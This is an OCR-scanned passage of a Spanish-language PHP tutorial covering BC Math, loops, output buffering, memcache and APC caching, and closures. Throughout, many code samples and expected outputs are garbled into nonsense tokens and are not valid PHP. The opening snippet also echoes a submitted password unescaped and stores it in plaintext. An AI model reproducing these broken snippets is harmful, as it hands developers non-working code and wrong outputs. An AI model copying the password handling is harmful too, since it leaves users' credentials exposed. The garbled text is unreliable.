echo "<p>You entered ($_SERVER['PHP_AUTH_PW']) as your password.</p>"; 
Spass = $_SERVER['PHP_AUTH_PW']; //Save the password(optionally add encryption)! 
ES 


//You html page 


Lea Autenticación HTTP en línea: https://riptutorial.com/es/php/topic/8059/autenticacion-http 
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Capítulo 11: BC Math (calculadora binaria) 


Introducción 
La calculadora binaria se puede utilizar para calcular con números de cualquier tamaño y 


precisión hasta 2147483647-1 decimales, en formato de cadena. La calculadora binaria es más 
precisa que el cálculo flotante de PHP. 


Sintaxis 


string bcadd (string $ left_operand, string $ right_operand [, int $ scale = 0]) 

int becomp (string $ left_operana, string $ right_operand [, int $ scale = 0]) 

* string bediv (string $ left_operanad, string $ right_operand [, int $ scale = 0]) 

* string bemod (string $ left_operand, string $ modulus) 

string bemul (string $ left_operana, string $ right_operand [, int $ scale = 0]) 

* string bcpowmod (string $ left_operand, string $ right_operana, string $ modulus [, int $ scale 
= 0)) 

+ bool bcscale (int $ scale) 

string besart (string $ operand [, int $ scale = 0]) 

string bcsub (string $ left_operana, string $ right_operand [, int $ scale = 0]) 


Parámetros 


bcadd Suma dos números de precisión arbitrarios. 


left_operand El operando izquierdo, como una cuerda. 
right_operand El operando correcto, como una cuerda. 


Un parámetro opcional para establecer el número de dígitos después del 
lugar decimal en el resultado. 


scale 
bccomp Compara dos números de precisión arbitrarios. 
left_operand El operando izquierdo, como una cuerda. 


right_operand El operando correcto, como una cuerda. 


Un parámetro opcional para establecer el número de dígitos después del 
lugar decimal que se utilizará en la comparación. 


scale 
bcdiv Divide dos números de precisión arbitrarios. 
left_operana El operando izquierdo, como una cuerda. 


right_operand El operando correcto, como una cuerda. 
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bcadd Suma dos números de precisión arbitrarios. 


scale 


bcmod 
left_operand 
modulus 


bcmul 
left_operand 


right_operand 


scale 


bcpow 
left_operand 


right_operand 


scale 


bcpowmod 


left_operand 
right_operand 


modulus 


scale 


Escala 


scale 
bcsqrt 
operand 


scale 


Un parámetro opcional para establecer el número de dígitos después del 
lugar decimal en el resultado. 


Obtener el módulo de un número de precisión arbitrario. 
El operando izquierdo, como una cuerda. 

El módulo, como una cuerda. 

Multiplica dos números de precisión arbitrarios. 

El operando izquierdo, como una cuerda. 

El operando correcto, como una cuerda. 


Un parámetro opcional para establecer el número de dígitos después del 
lugar decimal en el resultado. 


Elevar un número de precisión arbitrario a otro. 
El operando izquierdo, como una cuerda. 
El operando correcto, como una cuerda. 


Un parámetro opcional para establecer el número de dígitos después del 
lugar decimal en el resultado. 


Elevar un número de precisión arbitrario a otro, reducido por un módulo 
específico. 


El operando izquierdo, como una cuerda. 
El operando correcto, como una cuerda. 
El módulo, como una cuerda. 


Un parámetro opcional para establecer el número de dígitos después del 
lugar decimal en el resultado. 


Establecer el parámetro de escala predeterminado para todas las 
funciones matemáticas bc. 


El factor de escala. 
Obtener la raíz cuadrada de un número de precisión arbitraria. 
El operando, como una cuerda. 


Un parámetro opcional para establecer el número de dígitos después del 
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bcadd Suma dos números de precisión arbitrarios. 


lugar decimal en el resultado. 
bcsub Resta un número de precisión arbitrario de otro. 
left_operand El operando izquierdo, como una cuerda. 
right_operand El operando correcto, como una cuerda. 


Un parámetro opcional para establecer el número de dígitos después del 
lugar decimal en el resultado. 


scale 


Observaciones 


Para todas las funciones de BC, si el parámetro de scale no está establecido, el valor 
predeterminado es 0, lo que hará que todas las operaciones sean operaciones con enteros. 


Examples 


Comparación entre BCMath y operaciones aritméticas flotantes 


bcadd vs float + float 


wee clio (VO + “9, 991)— ES ARIS SOS. S)) 

wen cum (10) <> =9, 99) 4 Pl ELSE (O IOOITIITIIITDNRNS 

ver cua (10.00 + =9, 99) 9 Y ELSE O OIR 
( 


var_dump (bcadd('10', '-9.99', 20)); // string(22) "0.01000000000000000000" 


bcsub vs float-float 


ver cum (Or = “9,991)— Il ELSE O OIE) 

ver cum (10 = 9,99) 1/ ELSE OI 

vaz cum (10.00) = 1,99), Jl ELSE O OIE) 
( 


var_dump (bcsub('10', '9.99', 20)); // string(22) "0.01000000000000000000" 


bcmul vs int * int 


vere cla (5,00% +* 12.00%) 4 doEí (LO) 

yen co (500 + 2010) $ AS Eloeí (110) 

vere elo loci (15.0%, “2%, 20))— Il Seca VO. Qu 

vee elo Paca (15.000, "2,00%, 20))p9 // Suecia (e) "LO. 00000 
vearz_cimmo local (15%, “2%, 20))7 UN sica ay ML 
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bcmul vs float * float 


ver cau (0 L. 6713767137167 * VL.-O75718 71391071) // float (2.8115498416259) 
Er A SS TS E LISIS IST) // float (2.8115498416259) 
ver clio (Seal (ML STO TITS] MAL ETOTOTOTS1 7 20) 4 Seria (22) VA BLAS LS A 


bediv vs float / float 


(Cir / “S.01LU) y Elo at (823222591362 1:216)) 
vaz omo / 3,01) 9 RO SES 22 25 SES (OZ 426») 
ves ema (10.00 y S/QÍ)p Il ELO (SILA LS DILAS) 
vers elo (seri (MLOY, “EQ, 20))p // surlag(22) 3, d2228 LIO ALI SSA LO 


var_dump 


Uso de bcmath para leer / escribir un binario largo en un sistema de 32 bits 


En los sistemas de 32 bits, los enteros mayores que 0x7rrrrrrFr no pueden almacenarse 
primitivamente, mientras que los enteros entre oxo0000000080000000 Y 0x7FFFFFFFFFFFFFFF pueden 
almacenarse primitivamente en sistemas de 64 bits pero no en sistemas de 32 bits ( signed long 
long ). Sin embargo, dado que los sistemas de 64 bits y muchos otros lenguajes admiten el 
almacenamiento de enteros signed long long , a Veces es necesario almacenar este rango de 
enteros en el valor exacto. Hay varias formas de hacerlo, como crear una matriz con dos números 
o convertir el número entero en su forma decimal legible para el hombre. Esto tiene varias 
ventajas, como la conveniencia de presentar al usuario y la capacidad de manipularlo 
directamente con bcmath. 


Los métodos de pac: / unpac, se pueden usar para convertir entre bytes binarios y la forma 
decimal de los números (ambos de tipo string , pero uno es binario y el otro es ASCII), pero 
siempre intentarán convertir la cadena ASCII en un formato de 32 bits. int en sistemas de 32 bits. 
El siguiente fragmento de código proporciona una alternativa: 


pr Use ¡eel (Ma) or jaa (Maid) o: (SuSe syswuens */ 
function writelong(string S$ascii) : string ( 
a (econo (Saseia,) WO) ==> =1) ( // de Sasienña < 0 
// 18446744073709551616 is equal to (1 << 64) 
// remember to add the quotes, or the number will be parsed as a float literal 
Sascii = bcadd ($ascii, "18446744073709551616"); 
) 


// "n" is big-endian 16-bit unsigned short. Use "v" for small-endian. 
reeuin pace (aw, Jacuoa lecel (Baseit, "ESlaTa oros.) "BSS364)) 
¡aras (Wa, ocio (oscila (Sasieia, "MAMI, "ESSE U)) 
paar (av, tech (Baseid, "659360, "6939230%)) 
¡pac (Mal, cmo (Gasca, "SSA 
) 


function readLong(string $binary) : string ( 
Srtesulie = “Nu 
Sresult = bcadd ($result, unpack("n", substr($binary, 0, 2))); 
Sresule = Jim (Ssresulte, "ESSSou)A 
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$result = bcadd($result, 
Sresult = bcmul ($result, 
$result = bcadd($result, 
Sresult = bcmul ($result, 
Sresult = bcadd ($result, 


vaa (MA, Sulosicz (Sionimeuay, Zo 2)))7 
MOSOSICuN 
vaa (UA, sulosicz (Sioaimeuey, Ae 2) 
MODOSICuNT 
vaa (Ma, Sulosicz (Sioalmeiay, By 2)))7 


(Oi ¿binary 1s a signed long long; 
// 9223372036854775808 is equal to (1 << 63) (note that this expression actually does not 


work even on 64-bit systems) 


1f (bccomp ($result, "9223372036854775808") !== -1) ([ // 1f $result >= 9223372036854775807 
Sissuile = lesulo (Sesto, DiStaS aaoi OSSiSin> Yy)/ Sizestle == (UL << (Gu) 


) 


return $result; 


Lea BC Math (calculadora binaria) en línea: https://riptutorial.com/es/php/topic/8550/bc-math-- 


calculadora-binaria- 
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Capítulo 12: Bucles 


Introducción 


Los bucles son un aspecto fundamental de la programación. Permiten a los programadores crear 
código que se repite para un número determinado de repeticiones o ¡teraciones . El número de 
iteraciones puede ser explícito (6 iteraciones, por ejemplo), o continuar hasta que se cumpla 
alguna condición ('hasta que el infierno se congele”). 


Este tema cubre los diferentes tipos de bucles, sus declaraciones de control asociadas y sus 
posibles aplicaciones en PHP. 


Sintaxis 


* para (contador de inicio; contador de prueba; contador de incremento) (/ * código * /) 
* foreach (matriz como valor) [/ * código * /; 

* foreach (matriz como clave => valor) [/ * código * /) 

+ while (condición) (/ * código * /) 

* hacer (/ * código * /) while (condición); 

* anyloop (continuar; ) 

* anyloop¡[ anyloop ...] (continue int; |) 

* anyloop (descanso; ) 

* anyloopí[ anyloop ...] (break int; )) 


Observaciones 


A menudo es útil ejecutar el mismo bloque de código o varias veces. En lugar de copiar y pegar, 
los bucles de sentencias casi iguales proporcionan un mecanismo para ejecutar el código un 
número específico de veces y recorrer estructuras de datos. PHP soporta los siguientes cuatro 
tipos de bucles: 


for 

while 

do. .while 
foreach 


Para controlar estos bucles, continue y las declaraciones de breax están disponibles. 
Examples 


para 


La instrucción fox se utiliza cuando sabe cuántas veces desea ejecutar una instrucción 
o un bloque de instrucciones. 
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El inicializador se utiliza para establecer el valor de inicio para el contador del número de 
iteraciones de bucle. Se puede declarar una variable aquí para este propósito y es tradicional 
nombrarla s: . 


El siguiente ejemplo itera 10 veces y muestra números del 0 al 9. 


só (SL = 09 Sl <= Y Sisa) A 
ceño Sa, ",%p 


+ Example 2 
sor (SL > 09 $» Sii) dl 
da (Si > 9) 4 
break; 
) 


salas Ba, ¿0 


+ Example 3 


Sl = 0) 
LOA 
lí (8L > 9) Y 
break; 


) 
so Sal, Y," 
Sal aPA 


+ Example 4 
sois ($1 = 0, $7 = 09 $61 <= Op $] += Si, ¡eine Sis Y, Sil), 


La salida esperada es: 


OS O ASE 


para cada 


La instrucción foreach se utiliza para hacer un ciclo a través de matrices. 


Para cada iteración, el valor del elemento de la matriz actual se asigna a la variable svalue y el 


puntero de la matriz se mueve uno y en la siguiente iteración se procesará el siguiente elemento. 


El siguiente ejemplo muestra los elementos en la matriz asignada. 
Sltse = [Magale!, Mosmemal, "casiiay' 7 


foreach ($list as $value) ( 


calas VE Lowe o es (velo, Ye 


La salida esperada es: 


I love to eat apple. I love to eat banana. I love to eat cherry. 
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También puede acceder a la clave / índice de un valor utilizando foreach: 


foreach ($list as $key => $value) ( 
sclao Siey . "e. Byualus . Y Up 


) 


//Outputs - 0O:apple 1:banana 2:cherry 


Por defecto, $value es una copia del valor en s1is: , por lo que los cambios realizados dentro del 
bucle no se reflejarán en s1ist después. 


foreach ($list as $value) ( 
Svealus = Svelus . " piens 

) 

echo $list[0]; // Outputs "apple" 


Para modificar la matriz dentro del bucle roreacn , use el operador s para asignar $value por 
referencia. Es importante unse+: la variable luego para que reusar svalue otro lugar no sobrescriba 
la matriz. 


foreach ($list as S$value) [ // Or foreach ($list as $key => €$value) ( 
values = Svalus . " pie", 

) 

unset ($value); 

echo $list[0]; // Outputs "apple pie" 


También puede modificar los elementos de la matriz dentro del bucle roreacn haciendo referencia 
a la clave de la matriz del elemento actual. 


foreach ($list as $key => $value) ( 
Sltsecl[Skewv]| = Svalues ,. Y ¡pie 

) 

echo $list[0]; // Outputs "apple pie" 


descanso 


La palabra clave breax termina inmediatamente el bucle actual. 


De manera similar a la instrucción continue , UNA breax detiene la ejecución de un bucle. Sin 
embargo, a diferencia de una instrucción de continue , la breax provoca la terminación inmediata 
del bucle y no ejecuta la instrucción condicional nuevamente. 


SL = 57 
while(true) ( 
echo 120/$1.PHP_EOL; 
Sá == Ly 
de ($1 = 0) 4 
break; 


Este código producirá 
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24 
30 
40 
60 
zlO 


pero no ejecutará el caso donde si es 0, lo que resultaría en un error fatal debido a la división por 


O. 


La instrucción break también puede usarse para romper varios niveles de bucles. Tal 
comportamiento es muy útil cuando se ejecutan bucles anidados. Por ejemplo, para copiar una 


matriz de cadenas en una cadena de salida, eliminando cualquier + símbolo, hasta que la cadena 


de salida tenga exactamente 160 caracteres 


Somme = "Ng 
Sinputs = array ( 
"*soblessed tthrowbackthursday", 
"happy tuesday", 
Mimo een, 
/* more inputs */ 
); 
foreach ($inputs as S$input) ( 
toz($l = 0p $1 < sekslen(Silmeme)p? $1 += 1) € 


1f (Sinput[$i] == '*') continue; 
Soutput .= S$input[$il; 
if (strlen(S$output) == 160) break 2; 
) 
Souza == Y Up 


El comando breax 2 termina inmediatamente la ejecución de los bucles interno y externo. 
hacer ... mientras 


La instrucción do.. .while ejecutará un bloque de código al menos una vez, luego 
repetirá el ciclo siempre que la condición sea verdadera. 


El siguiente ejemplo incrementará el valor de si al menos una vez, y continuará incrementando la 


variable si siempre que tenga un valor inferior a 25; 


S1++; 
| while($i < 25); 


cdas mas Final velue osx al d1ss Y, Sie 


La salida esperada es: 


mis iaa velue ex Ll ss 25 


continuar 
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La palabra clave continue detiene la iteración actual de un bucle pero no termina el 


bucle. 


Al igual que la instrucción breax , la instrucción continue está situada dentro del cuerpo del bucle. 


Cuando se ejecuta, la instrucción continue hace que la ejecución salte inmediatamente al bucle 


condicional. 


En el siguiente ejemplo, el bucle imprime un mensaje basado en los valores de una matriz, pero 


omite un valor especificado. 


lts = [lasole!, Moneamaaa!, "cCaisiiayil, 


foreach ($list as $value) ( 
1f ($value == 'banana') ( 
continue; 


) 


echo "I love to eat ($value) pie.".PHP_] 


La salida esperada es: 


TI love to eat apple pie. 
I love to eat cherry pie. 


La instrucción de continue también se puede usar para continuar inmediatamente la ejecución a 
un nivel externo de un bucle especificando la cantidad de niveles de bucle para saltar. Por 


ejemplo, considere datos como 


CONCE 


manzana rojo 1 
Plátano Amarillo 7 
Cereza rojo 2 
Uva Verde 4 


Para hacer solo pasteles de fruta que cuestan menos de 5. 


Sclaira = Il 
a Ni color! => Unaalt. 
PAE => Banana Color => MY cio 
E Arrenicr => Uencra", Calor" == Mrieo", 
[ "Fruit" => "Grape", WeolorvY => Merca”. 
1; 
foreach ($data as $truit) ( 
foreach($fruit as $key => $value) ( 
1f ($key == "Cost" £8 $value >= 5) ( 


CONTINUA: 
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EOL; 


cose” 
Coste” 
CO sin 
Coste” 


is 1 112 


OÍ 


/* make a pie */ 


Cuando se ejecuta la instrucción continue 2 , la ejecución salta inmediatamente a súata as $fruit 
continúa con el bucle externo y omite todos los demás códigos (incluido el condicional en el bucle 
interno). 


mientras 


La instrucción mhi1e ejecutará un bloque de código siempre y cuando la expresión de 
prueba sea verdadera. 


Si la expresión de prueba es verdadera, entonces se ejecutará el bloque de código. Después de 
que el código se haya ejecutado, la expresión de prueba se evaluará nuevamente y el bucle 
continuará hasta que se encuentre que la expresión de prueba es falsa. 


El siguiente ejemplo itera hasta que la suma alcanza 100 antes de terminar. 


Sal = EUA 
Ssum = 0); 
while ($1) ( 
16 (Sounm === 100) 4 
Sl = False) 
) else ( 


Ssum += 10; 
) 
) 


echo 'The sum is: ', $sum; 


La salida esperada es: 


The sum is: 100 


Lea Bucles en línea: https://riptutorial.com/es/php/topic/2213/bucles 


https://riptutorial.com/es/nome 58 


Capítulo 13: Buffer de salida 


Parámetros 


Inicia el búfer de salida, cualquier salida colocada después de esto se 


ob_start B z 
> 0 capturará y no se mostrará 


ob_get_contents 


0 


Devuelve todo el contenido capturado por ob_start () 


Vacía el búfer de salida y lo desactiva para el nivel de anidamiento 
ob_end_clean () 


actual 
ob_get_clean () Activa tanto ob_get_contents() COMO ob_end_clean () 
ob_get_level () Devuelve el nivel de anidamiento actual del búfer de salida. 


Descargue el búfer de contenido y envíelo al navegador sin finalizar el 


ob_flush () mera 


ob_implicit_flush 


0 


Habilita el vaciado implícito después de cada llamada de salida. 


Vacíe el búfer de contenido y envíelo al navegador, también finalizando 


ob_end_flush () el búfer 


Examples 


Uso básico obteniendo contenido entre buffers y clearing 


El búfer de salida le permite almacenar cualquier contenido textual (Texto, «rm1 ) en una variable y 
enviarlo al navegador como una pieza al final de su script. Por defecto, pnp envía su contenido 
como lo interpreta. 


<?php 


// Turn on output buffering 
ob_startdl> 


// Print some output to the buffer (via php) 
print 'Hello '; 


// You can also "step out” of PHP 
ES 

<em>Worl1d</em> 

<?php 
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// Return the buffer AND clear it 
Scontent = ob_get_clean(); 


// Return our buffer and then clear it 


+ Scontent = ob_get_contents (); 
+ Sdidelear buffer = ob_end- clean (); 


PRMI(Sco nte nit) 


> "Hello <em>World</em>" 


Cualquier contenido ob_start () entre ob_start () Y ob_get_clean () Será capturado y colocado en la 


variable scontent . 


Al llamar a ob_get_clean() ob_get_contents () tanto ob_get_contents() COMO ob_end_clean() . 


Buffers de salida anidados 


Puede anidar buffers de salida y obtener el nivel para que proporcionen contenido diferente 


utilizando la función ob_get_level () . 


<?php 


Sa = 1 
Soutput = null; 


while( $1 <= 5) ( 
// Each loop, creates a new output buffering 'level” 


SO stare 
cla MCiisizcae mese levels Y, ol cue level) . “ais 
SA 


// We're at level 5 now 
print 'Ended up at level: ' . ob_get_level() . PHP_EOL; 


// Get clean will 'pop” the contents of the top most level (5) 
Soutput .= ob_get_clean(); 
print Soutput; 


print 'Popped level 5, so we now start from 4' . PHP_EOL; 


// We're now at level 4 (we pop'ed off 5 above) 


// For each level we went up, come back down and get the buffer 
while( $1 > 2 ) ( 


pra "Cuerno mese levels Y. oe level() . Wav, 
echo ob_get_clean(); 
Si==p 
) 
Salidas: 


Current nest level: 1 
Current nest level: 
Current nest level: 3 
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Current nes level: 4 


GE 


Current nes level: 5 


Ended up at level: 5 


Popped level 5, so we now start from 4 
Current nest level: 4 
Current nest level: 3 
Current nest level: 2 
Current nest level: 1 


Capturando el buffer de salida para reutilizarlo más tarde. 


En este ejemplo, tenemos una matriz que contiene algunos datos. 


Sitems_1i html búfer de salida en sitems_1i htmi y lo usamos dos veces en la página. 


<?php 


Start capturing the output 
ob start 


Saitens = [Miome!, Milo", "Ag", "Comeace" lp 
foreach($items as $item): 


// Note we're about to step "out of PHP land" 


> 

<li><?php echo $item ?></1li> 
<?php 
// Back in PHP land 
endforeach; 


// Sitems_lists contains all the HTML captured by the output buffer 
Sitems_1i_html = ob_get_clean/(); 
> 


<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. --> 


<ul class="header-nav"> 
<?php echo $items_1i_html ?> 
</a> 


<l== Mean 2 ==> 
<ul class="footer-nav"> 

<?php echo $items_1i_html ?> 
</ul> 


Guarde el código anterior en un archivo output_buffer.php y ejecútelo a través de pnp 
output_buffer.php . 


Debería ver los 2 elementos de lista que creamos anteriormente con los mismos elementos de 
lista que generamos en PHP usando el búfer de salida: 


<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. --> 


<ul class="header-nav"> 
<li>Home</1li> 
<A os </A> 
<li>FAQ</1i> 
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<i> Come aci 
<> 


<> Menu 2 ==> 

<ul class="footer-nav"> 
<li>Home</1li> 
<A o/o 
<li>FAQ</1i> 
<li>Contact</1li> 

<E//WÁL> 


Ejecutando buffer de salida antes de cualquier contenido. 


ob_start id); 


Suse couilme = 09 
foreachí $users as $Suser ) ( 
1f( $fuser['access'] != 7 ) [ continue; ) 
2 
<li class="users user-<?php echo $user['id']; 2>"> 
<a href="<?php echo $user['link']; 2>"> 
<?php echo fuser['name'] ?> 
<a> 
Sy Mii 
<?php 


Suser_count++; 


) 


Susers_html = ob_get_clean(); 


16 ( lSusez comme ») 
header ('Location: /404.php'); 
exit (); 
) 
ES 
<html> 
<head> 
<title>Level 7 user results (<?php echo $user_count; ?>)</title> 
</head> 


<body> 
<h2>We have a total of <?php echo $user_count; ?> users with access level 7</h2> 
<ul class="user-list"> 
<?php echo $users_html; ?> 
</ul> 
</body> 
</html> 


En este ejemplo, asumimos que susers son una matriz multidimensional, y lo hacemos en bucle 
para encontrar a todos los usuarios con un nivel de acceso de 7. 


Si no hay resultados, redirigimos a una página de error. 


Estamos utilizando el búfer de salida aquí porque estamos activando un redireccionamiento de 
header () basado en el resultado del bucle 


Uso del búfer de salida para almacenar contenidos en un archivo, útil para 
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informes, facturas, etc. 


<?php 
als, susu 10) p 
2> 
<html> 
<head> 
<title>Example invoice</title> 
</head> 
<body> 


<h1>Invoice +0000</h1> 
<h2>Cost: $pound;15,000</h2> 
</body> 

</html> 


<?php 
Shtml = ob_get_clean/(); 


Shandle = fopen('invoices/example-invoice.html', 'w'); 
fwrite(S$handle, $html); 
fclose ($handle); 


Este ejemplo toma el documento completo y lo escribe en un archivo, no lo imprime en el 
navegador, pero lo hace usando echo $html; 


Procesando el búfer a través de una devolución de llamada 


Puede aplicar cualquier tipo de procesamiento adicional a la salida pasando un llamable a 


ob_start () . 


<?php 
function clearAllWhiteSpace ($buffer) ( 
reucuida sus epale (euesrssyy (Mya, UNT, 0 1, UU. Sopas) 


) 


ob_start ('clearAllWhiteSpace'); 
> 
<hl>Lorem Ipsum</h1> 


<p><strong>Pellentesque habitant morbi tristique</strong> senectus et netus et malesuada fames 


ac turpis egestas. <a href="*">Donec non enim</a> in turpis pulvinar facilisis.</p> 
<h2>Header Level 2</h2> 


<ol> 
<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</1li> 
<li>Aliquam tincidunt mauris eu risus.</li> 

</o1> 


<?php 
/* Output will be flushed and processed when script ends or call 


ob_end_flush(); 
y 


Salida: 
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<hl1>LoremIpsum</h1><p><strong>Pellentesquehabitantmorbitristique</strong>senectusetnetusetmalesuadafame 


Transmitir salida al cliente 


pe 
* Enables output buffer streaming. Calling this function 


* immediately flushes the buffer to the client, and any 
* subsequent output will be sent directly to the client. 
3 
function _stream() ( 

ob_implicit_flush(true); 

ob_end_flush(); 


Uso típico y razones para usar ob_start 


ob_start es especialmente útil cuando tienes redirecciones en tu página. Por ejemplo, el siguiente 
código no funcionará: 


Hello! 
<?php 

header ("Location: somepage.php"); 
2> 


El error que se dará es algo como: headers already sent by <xxx> on line <xxx>. 


Para solucionar este problema, debe escribir algo como esto al comienzo de su página: 


<?php 
ob_start (); 
os 


Y algo como esto al final de tu página: 


<?php 
ola smel e lusia (1) $ 
RS 


Esto almacena todo el contenido generado en un búfer de salida y lo muestra de una sola vez. 
Por lo tanto, si tiene llamadas de redirección en su página, éstas se activarán antes de que se 
envíe cualquier dato, eliminando la posibilidad de que se produzcan errores en lOS headers already 


sent. 


Lea Buffer de salida en línea: https://riptutorial.com/es/php/topic/541/buffer-de-salida 
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Capítulo 14: Cache 


Observaciones 


Instalación 
Puedes instalar memcache usando pecl 


pecl install memcache 


Examples 


Caché utilizando memcache 


Memcache es un sistema de almacenamiento en caché de objetos distribuidos y utiliza key-va1ue 
para almacenar datos pequeños. Antes de comenzar a llamar código de Mencache a PHP, debe 
asegurarse de que esté instalado. Eso se puede hacer usando el método class_exists en php. 
Una vez que se valida que el módulo está instalado, comienza a conectarse a la instancia del 
servidor memcache. 


1f (class_exists('Memcache')) ( 


$cache = new Memcache (); 
Scache->connect ('localhost',11211); 
jelse ( 


print "Not connected to cache server"; 


) 


Esto validará que los controladores php de Memcache estén instalados y se conectarán a la 
instancia del servidor memcache que se ejecuta en localhost. 


Memcache se ejecuta como un demonio y se llama memcached 


En el ejemplo anterior solo nos conectamos a una sola instancia, pero también puede conectarse 
a múltiples servidores usando 


1f (class_exists('Memcache')) ( 
$cache = new Memcache(); 
Scache->addServer ('192.168.0.100',11211); 
Scache->addServer('192.168.0.101',11211); 


Tenga en cuenta que, en este caso, a diferencia de la conexión, no habrá ninguna conexión 
activa hasta que intente almacenar o recuperar un valor. 


En el almacenamiento en caché hay tres operaciones importantes que deben implementarse 


1. Almacenar datos: agregar nuevos datos al servidor memcached 
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2. Obtener datos: obtener datos del servidor memcached 
3. Eliminar datos: eliminar datos ya existentes del servidor memcached 


Almacenamiento de datos 


Scache O Objeto de clase memcached tiene un método de ser que toma una clave, valor y tiempo 
para guardar el valor para (ttl). 


$cache->set (S$key, $value, 0, $tt1); 


Aquí $ ttl o time to live es el tiempo en segundos que desea que memcache almacene el par en el 
servidor. 


Obtener datos 


$cache O Objeto de clase memcached tiene un método de get que toma una clave y devuelve el 
valor correspondiente. 


$value = $cache->get ($key) ; 


En caso de que no haya un valor establecido para la clave, se devolverá nulo. 


Borrar datos 


A veces es posible que tenga que eliminar algún valor de caché. scacne instancia de scache O 
memcache tiene un método de delete que puede usarse para el mismo. 


Scache->delete ($key) ; 


Pequeño escenario para el almacenamiento en caché 


Asumamos un simple blog. Tendrá múltiples publicaciones en la página de destino que se 
obtendrán de la base de datos con cada carga de página. Para reducir las consultas de SQL 
podemos usar memcached para almacenar en caché las publicaciones. Aquí hay una 
implementación muy pequeña. 


1f (class_exists('Memcache')) ( 


$cache = new Memcache (); 
Seasche=>connect (localhost, Maida: 
if(($data = $cache->get ('posts')) != null) ( 


// Cache hit 

// Render from cache 
) else ( 

// Cache miss 
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// Query database and save results to database 


// Assuming $posts is array of posts retrieved from database 


Scccis—>sc (Moroses',y Suosies, 0, Scielo) y 
) 


jelse ( 


die("Error while connecting to cache server"); 


Caché utilizando caché APC 


El caché de PHP alternativo (APC) es un caché de código de operación gratuito y abierto para 


PHP. Su objetivo es proporcionar un marco gratuito, abierto y robusto para almacenar en caché y 


optimizar el código intermedio de PHP. 


instalación 


sudo apt-get install php-apc 
sudo /etc/init.d/apache2 restart 


Añadir caché: 


apc_add ($key, S$value , $ttl); 
Skey = unique cache key 


$value = cache valu 
Ssttl = Time To Live; 


Eliminar caché: 
apc_delete ($key) ; 
Ejemplo de Set Cache: 


if (apc_exists($key)) ( 
echo "Key exists: "; 
echo apc_fetch ($key) ; 
) else ( 


cho "Key does not exist"; 
apc_add ($key, S$value , $ttl); 


Rendimiento : 
APC es casi 5 veces más rápido que Memcached. 


Lea Cache en línea: https://riptutorial.com/es/php/topic/5470/cache 
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Capítulo 15: Cierre 


Examples 


Uso básico de un cierre. 


Un cierre es el equivalente de PHP de una función anónima, por ejemplo. Una función que no 
tiene nombre. Incluso si eso no es técnicamente correcto, el comportamiento de un cierre sigue 
siendo el mismo que el de una función, con algunas características adicionales. 


Un cierre no es más que un objeto de la clase Closure que se crea al declarar una función sin 
nombre. Por ejemplo: 
<?php 
$myClosure = function() ( 
echo 'Hello world!'; 
y; 
$myClosure (); // Shows "Hello world!" 


Tenga en cuenta que smyclosure es una instancia de closure para que esté al tanto de lo que 
realmente puede hacer con ella (consulte http://fr2.php.net/manual/en/class.closure.php ) 


El caso clásico que se necesita un cierre es cuando se tiene que dar una cal1abie a una función, 
por ejemplo usort . 


Aquí hay un ejemplo donde una matriz está ordenada por el número de hermanos de cada 
persona: 

<?php 

$data = [ 
'name' => 'John', 


oO Silo lilas! => 2, 


ai SE 
is =O Silo lies! => L, 


'name' => 'Tom', 
'nbrofsiblings' => 3, 


1; 
usort ($data, function($el, $e2) ( 


if (Sel['nbrofSiblings'] == $e2['nbrofSiblings']) ( 
return 0; 
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rerbvia Sel [moroso lada] < Ec2 | “alrOr salones] $ =L 2 ie 
DD; 


var_dump ($data); // Will show Stan first, then John and finally Tom 


Utilizando variables externas 


Es posible, dentro de un cierre, utilizar una variable externa con el uso especial de palabras 
clave. Por ejemplo: 
<?php 
Squantity = 1; 
$calculator = function (S$number) use(Squantity) ( 
return $number + S$quantity; 


; 


var_dump ($calculator (2)); // Shows "3" 


Puedes ir más lejos creando cierres "dinámicos". Es posible crear una función que devuelva una 
calculadora específica, dependiendo de la cantidad que desee agregar. Por ejemplo: 


<?php 


function createCalculator ($quantity) ( 
return function($number) use ($quantity) ( 
return $number + $quantity; 
y; 
) 


Scalculatorl = createCalculator (1); 
S$calculator2 = createCalculator (2); 


var_dump ($calculatorl(2)); // Shows "3" 


var_dump ($calculator2(2)); // Shows "4" 


Encuadernación de cierre básico. 


Como se vio anteriormente, un cierre no es más que una instancia de la clase Closure, y se 
pueden invocar diferentes métodos en ellos. Uno de ellos es binaro , que, dado un cierre, 
devolverá uno nuevo que está vinculado a un objeto dado. Por ejemplo: 


<?php 
$myClosure = function() ( 
echo $this->property; 
y; 
class MyClass 
( 
public Sproperty; 


public function __construct ($propertyValue) 
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Sthis->property = S$propertyValue; 


) 


SmyInstance = new MyClass('Hello world!'); 
SmyBoundClosure = $myClosure->bindTo ($myInstance); 
$myBoundClosure(); // Shows "Hello world!" 


Cierre de encuadernación y alcance. 
Consideremos este ejemplo: 


<?php 


$myClosure = function() ( 
echo $this->property; 
y; 


class MyClass 


1 
public S$property; 


public function __construct ($propertyValue) 


( 


Sthis->property = S$propertyValue; 
) 


$myInstance = new MyClass('Hello world!'); 
SmyBoundClosure = $myClosure->bindTo ($myInstance); 


$myBoundClosure(); // Shows "Hello world!" 


Intente cambiar la visibilidad de la property A protected O private . Recibes un error fatal que indica 
que no tienes acceso a esta propiedad. De hecho, incluso si el cierre se ha vinculado al objeto, el 
alcance en el que se invoca el cierre no es el necesario para tener ese acceso. Para eso es el 
segundo argumento de binaro . 


La única forma de acceder a una propiedad si eS private es que se accede desde un ámbito que 
lo permita, es decir. El alcance de la clase. En el ejemplo de código anterior, el alcance no se ha 
especificado, lo que significa que el cierre se ha invocado en el mismo ámbito que el utilizado 
donde se creó el cierre. Vamos a cambiar eso: 


<?php 

$myClosure = function() ( 
echo $this->property; 

y; 

class MyClass 


( 


private $property; // $property is now private 
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public function __construct ($propertyValue) 


( 


Sthis->property = S$propertyValue; 


) 


SmyInstance = new MyClass('Hello world!'); 
SmyBoundClosure = $myClosure->bindTo ($myInstance, MyClass::class); 
$myBoundClosure (); // Shows "Hello world!" 


Como acabo de decir, si este segundo parámetro no se utiliza, el cierre se invoca en el mismo 
contexto que el utilizado donde se creó el cierre. Por ejemplo, un cierre creado dentro de una 
clase de método que se invoca en un contexto de objeto tendrá el mismo alcance que el método: 


<?php 


class MyClass 
[ 
private S$property; 


public function __construct ($propertyValue) 


( 


Sthis->property = S$propertyValue; 


public function getDisplayer () 
á 
acusan ua (y) 
echo $this->property; 
y; 


) 
S$myInstance = new MyClass('Hello world!'); 
